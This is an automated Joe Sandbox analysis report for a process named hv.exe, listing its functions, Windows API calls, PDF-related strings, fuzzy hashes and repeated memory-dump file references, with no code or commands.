Associated: 00000003.00000002.1792076880.000000006C55B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792096685.000000006C55F000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c110000_hv.jbxd

Similarity

API ID: _wcschr
String ID: utf8
API String ID: 2691759472-905460609
Opcode ID: 69b92d72b62f4377a6024219d8cf1d4f8385c2ec56fae57db14545226d6da001
Instruction ID: 4f81bcbd2aa4be0140f622d1b09a37a35f03524e520943907e0e83b6597a4076
Opcode Fuzzy Hash: 69b92d72b62f4377a6024219d8cf1d4f8385c2ec56fae57db14545226d6da001
Instruction Fuzzy Hash: 30510731604301AAEB15AF779C44FE673B8AF49708F300419E595D7D88FB72E5458EA2

Analysis Process: hv.exePID: 7304, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	1.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	824
Total number of Limit Nodes:	19

Executed Functions

Function 6C1B22B2 Relevance: 9.3, APIs: 6, Instructions: 298
memoryfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(?,?), ref: 6C1B2328
CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000), ref: 6C1B240D
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 6C1B2485
LoadLibraryA.KERNELBASE(?), ref: 6C1B253F
VirtualProtect.KERNELBASE(?,?,?,?), ref: 6C1B25B0
VirtualProtect.KERNELBASE(?,?,?,?), ref: 6C1B25D7

Memory Dump Source

Source File: 0000000A.00000002.2053294754.000000006C1B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C1B0000, based on PE: true

Associated: 0000000A.00000002.2053275056.000000006C1B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C266000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C2F4000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C323000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C327000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C336000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C41A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C445000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4B2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4C6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4D2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4DB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C546000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C55C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C575000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C59A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5D4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058290832.000000006C5EF000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058373009.000000006C5F3000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058416194.000000006C5FB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058452461.000000006C5FF000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c1b0000_hv.jbxd

Similarity

API ID: FileProtectVirtual$AllocCreateLibraryLoadLocalRead
String ID:
API String ID: 2652859266-0
Opcode ID: 5ef9ba8e485adf9bb602ed87f94073d8a429e459ee07eb963e50ecf02c392245
Instruction ID: c3384c8db9e849e12d1e287846fc072acab94e2faa1e8104914fee2be7887646
Opcode Fuzzy Hash: 5ef9ba8e485adf9bb602ed87f94073d8a429e459ee07eb963e50ecf02c392245
Instruction Fuzzy Hash: 91D1AAB5A00248DFCB18CF69C990AAA7BF5BF88304F248259FD1997366D735E845CF90

Non-executed Functions

Function 6C28D760 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 385
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#73.IEPDF32(?), ref: 6C28D777

Part of subcall function 6C28CEE0: #70.IEPDF32(?,?,?,?,?,?,?,?,00000000,?,?,?,?,?,?), ref: 6C28CEEB

#73.IEPDF32(?), ref: 6C28D80A
#73.IEPDF32(00000000,?,?,Rect), ref: 6C28D915

Strings

BBox, xrefs: 6C28D98A, 6C28DA00
Rect, xrefs: 6C28D8F7, 6C28DAD0

Memory Dump Source

Source File: 0000000A.00000002.2053294754.000000006C266000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C1B0000, based on PE: true

Associated: 0000000A.00000002.2053275056.000000006C1B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C1B1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C2F4000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C323000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C327000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C336000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C41A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C445000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4B2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4C6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4D2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4DB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C546000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C55C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C575000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C59A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5D4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058290832.000000006C5EF000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058373009.000000006C5F3000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058416194.000000006C5FB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058452461.000000006C5FF000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c1b0000_hv.jbxd

Similarity

API ID:
String ID: BBox$Rect
API String ID: 0-3854271352
Opcode ID: ee8294878c92331fb5b16025d8c9790fad6b7ce47c4b36143bd4049a55a94b96
Instruction ID: cdaa8a4b044c34021a43d6547bf33f62fcd131d63fd407bea1c567a265e78f88
Opcode Fuzzy Hash: ee8294878c92331fb5b16025d8c9790fad6b7ce47c4b36143bd4049a55a94b96
Instruction Fuzzy Hash: A1C1B671B0221E9FDB04CF65D880AAE77B5BF89658F114519ED19AB780DB30A90DCBA0

Function 6C3F4040 Relevance: 6.5, APIs: 4, Instructions: 455
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.2053294754.000000006C336000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C1B0000, based on PE: true

Associated: 0000000A.00000002.2053275056.000000006C1B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C1B1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C266000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C2F4000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C323000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C327000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C41A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C445000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4B2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4C6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4D2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4DB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C546000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C55C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C575000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C59A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5D4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058290832.000000006C5EF000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058373009.000000006C5F3000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058416194.000000006C5FB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058452461.000000006C5FF000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c1b0000_hv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e556f8eadd521b30a6fb6d07d695babaf2ef8fdde6a066322799f995e854dc82
Instruction ID: 9a9f4cd00b00523fc56031dac7b52445949b7b685768a32b406db4ff82460bca
Opcode Fuzzy Hash: e556f8eadd521b30a6fb6d07d695babaf2ef8fdde6a066322799f995e854dc82
Instruction Fuzzy Hash: 6D026D71E012199BDB14CFA9D98069EFBF5FF48318F24866AD929E7740D731A902CF90

Function 6C28E610 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 327
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Type, xrefs: 6C28F1E9
Annot, xrefs: 6C28F201

Memory Dump Source

Source File: 0000000A.00000002.2053294754.000000006C266000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C1B0000, based on PE: true

Associated: 0000000A.00000002.2053275056.000000006C1B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C1B1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C2F4000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C323000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C327000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C336000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C41A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C445000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4B2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4C6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4D2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4DB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C546000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C55C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C575000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C59A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5D4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058290832.000000006C5EF000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058373009.000000006C5F3000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058416194.000000006C5FB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058452461.000000006C5FF000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c1b0000_hv.jbxd

Similarity

API ID:
String ID: Annot$Type
API String ID: 0-395718979
Opcode ID: e260f91a4f4bd0bd93cce7f5937d1524c68247266466818c2efbda2dda1f326e
Instruction ID: 8cb74879391dd7e7ea5076794d6027472aba24b81e739a3b2cfa8ec633d718f7
Opcode Fuzzy Hash: e260f91a4f4bd0bd93cce7f5937d1524c68247266466818c2efbda2dda1f326e
Instruction Fuzzy Hash: 39B1B639B0121D8FEB14DF65C880BAEB7B5FF89345F104559E919AB780EB30990ACF91

Function 6C40B29F Relevance: 10.8, APIs: 7, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strrchr.LIBCMT ref: 6C40B325

Memory Dump Source

Source File: 0000000A.00000002.2053294754.000000006C336000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C1B0000, based on PE: true

Associated: 0000000A.00000002.2053275056.000000006C1B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C1B1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C266000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C2F4000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C323000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C327000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C41A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C445000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4B2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4C6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4D2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4DB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C546000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C55C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C575000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C59A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5D4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058290832.000000006C5EF000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058373009.000000006C5F3000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058416194.000000006C5FB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058452461.000000006C5FF000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c1b0000_hv.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c8d7bd591e089ebcf2b8a6d2b931b8b3af54a35b22af1fc559c37c12d01c6543
Instruction ID: e599ae525c57ffe2a0999fc7432712a5b13326fbfba7d3fbf9e87b978ba99507
Opcode Fuzzy Hash: c8d7bd591e089ebcf2b8a6d2b931b8b3af54a35b22af1fc559c37c12d01c6543
Instruction Fuzzy Hash: A3B16532B813559FDB02CF64CC81FAE7BA5EF49318F2441B9E800AB781D3749901CBA9

Function 6C28C670 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#70.IEPDF32(?), ref: 6C28C6A5

Strings

Highlight, xrefs: 6C28CCF0
.Cl, xrefs: 6C28CBEB
Subtype, xrefs: 6C28CCDB

Memory Dump Source

Source File: 0000000A.00000002.2053294754.000000006C266000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C1B0000, based on PE: true

Associated: 0000000A.00000002.2053275056.000000006C1B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C1B1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C2F4000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C323000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C327000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C336000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C41A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C445000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4B2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4C6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4D2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4DB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C546000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C55C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C575000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C59A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5D4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058290832.000000006C5EF000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058373009.000000006C5F3000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058416194.000000006C5FB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058452461.000000006C5FF000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c1b0000_hv.jbxd

Similarity

API ID:
String ID: .Cl$Highlight$Subtype
API String ID: 0-2185541231
Opcode ID: e3ad4bf8af39bd14a359d2e6d64e0fa59033a62f9fd3cdb67bc3129005c1c3f2
Instruction ID: de15740007230291ac5792c51dea707f31fafd24877a15e55feca8a22564f0f9
Opcode Fuzzy Hash: e3ad4bf8af39bd14a359d2e6d64e0fa59033a62f9fd3cdb67bc3129005c1c3f2
Instruction Fuzzy Hash: 52212C71B0211E8FEB049E75D840A7B7369EF88955F110A29EE285FBD0E730D80AC7D1

Function 6C1BF7A3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__Init_thread_header.LIBCMT ref: 6C1BF7CF
__Init_thread_footer.LIBCMT ref: 6C1BF7F4

Strings

@[_l, xrefs: 6C1BF7C3
@[_l, xrefs: 6C1BF7E0

Memory Dump Source

Source File: 0000000A.00000002.2053294754.000000006C1B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C1B0000, based on PE: true

Associated: 0000000A.00000002.2053275056.000000006C1B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C266000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C2F4000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C323000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C327000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C336000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C41A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C445000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4B2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4C6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4D2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4DB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C546000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C55C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C575000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C59A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5D4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058290832.000000006C5EF000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058373009.000000006C5F3000.00000004.00000001.01000000.00000007.sdmpDownload File
